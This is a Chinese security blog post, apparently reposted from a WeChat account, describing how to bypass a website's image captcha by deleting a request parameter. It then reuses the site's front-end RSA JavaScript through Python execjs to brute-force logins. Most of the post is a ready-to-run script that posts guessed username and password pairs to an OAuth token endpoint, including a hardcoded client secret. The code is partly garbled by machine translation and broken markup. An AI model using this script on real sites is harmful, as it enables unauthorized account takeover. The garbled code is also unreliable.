某网站登录的时候如下:
然后我删除j_authcode以及一些有用的参数,可以绕过图形验证码
那么这样就可以进行爆破了。不过我们可以看到用户名和密码,这究竟是什么玄妙呢?我们来看看前端代码。
可以看到这里是RSA智能。然后通过断点查看指数和模量的值。
值是,搜索后发现就存储config.js中,固定私钥在RSA的模数。
但这是一个 256 位公钥的 RSA,在其他环境中几乎找不到这种可能性的项目,而 js 出现了 RSA.js/Barrett.js/BigInt.js 这么一个早期项目。这种时候就需要用python去调js代码来进行洗。
先写出js智能的代码来看看效果:
<font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><s cript src="./rsa/RSA.js" type="text/j avas cript"></s cript></font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
<s cript src="./rsa/BigInt.js" type="text/j avas cript"></s cript></font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
<s cript src="./rsa/Barrett.js" type="text/j avas cript"></s cript></font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
<s cript src="./rsa/config.js" type="text/j avas cript"></s cript></font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
<脚本></font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
功能(参数Str){</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
设置最大数字(130);</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
密钥 = 新 RSAKeyPair(指数,“”,模数);</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
返回 encryptedString(key,encodeURIComponent(paramStr));</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
}</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
qqq= a("管理员");</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
一个提醒(QQ);</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
</s 脚本></font></font>
这里可以看到和Burp Suite里是一模一样,然后把4个js带html里的js代码合并到同一个文件里,用python的execjs库去调。
<font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 execjs</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
defrsa(str):</font></font><font></font>
<font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
文件 = 'RSA.js'</font></font><font></font>
<font></font>
ctx = execjs.compile(open(file).read())<font></font>
<font></font>
js = 'a("'+str+'")'<font></font>
<font></font>
params = ctx.e val(js)<font></font>
<font></font>
return params<font></font>
<font></font>
print(rsa("admin"))<font></font>
<font></font>
[align=left]
写出来最后破破的剧本:
import requests<font></font>
<font></font>
import execjs<font></font>
<font></font>
requests.packages.urllib3.disable_warnings()<font></font>
<font></font>
defurlpost(username,password):<font></font>
<font></font>
rusername = rsa(username)<font></font>
<font></font>
rpassword = rsa(password)<font></font>
<font></font>
url = "https://x.com/oauth/token"<font></font>
<font></font>
header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0)Gecko/20100101 Firefox/79.0",<font></font>
<font></font>
"X-Requested-With": "X MLHttpRequest",<font></font>
<font></font>
"Content-Type": "application/x-www-form-urlencoded"<font></font>
<font></font>
}<font></font>
<font></font>
cookie = {}<font></font>
<font></font>
data = {"username":rusername,<font></font>
<font></font>
"password":rpassword,<font></font>
<font></font>
"grant_type":"password",<font></font>
<font></font>
"scope":"service",<font></font>
<font></font>
"client_id":"spm",<font></font>
<font></font>
"client_secret":"sinoprof"<font></font>
<font></font>
}<font></font>
<font></font>
r =requests.post(url,cookies=cookie,headers=header,data=data,allow_redirects=False,verify=False)<font></font>
<font></font>
print(r.status_code)<font></font>
<font></font>
if r.status_code == 200:<font></font>
<font></font>
print(username+password+"success")<font></font>
<font></font>
exit()<font></font>
<font></font>
else:<font></font>
<font></font>
print(username+password+"error")<font></font>
<font></font>
defrsa(str):<font></font>
<font></font>
file = 'RSA.js'<font></font>
<font></font>
ctx = execjs.compile(open(file).read())<font></font>
<font></font>
js = 'a("'+str+'")'<font></font>
<font></font>
params = ctx.e val(js)<font></font>
<font></font>
return params<font></font>
<font></font>
folist= open('user.txt','r')<font></font>
<font></font>
for i in folist.readlines():<font></font>
<font></font>
i = i.replace('n','')<font></font>
<font></font>
urlpost(i,i+"!@#456")<font></font>
<font></font>
urlpost(i,i+"!@#123")<font></font>
<font></font>
urlpost(i,"123456")
最终效果如下图所示:
本文始发于微信公众号(疯猫网络):前端RSA被丑爆破脚本
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论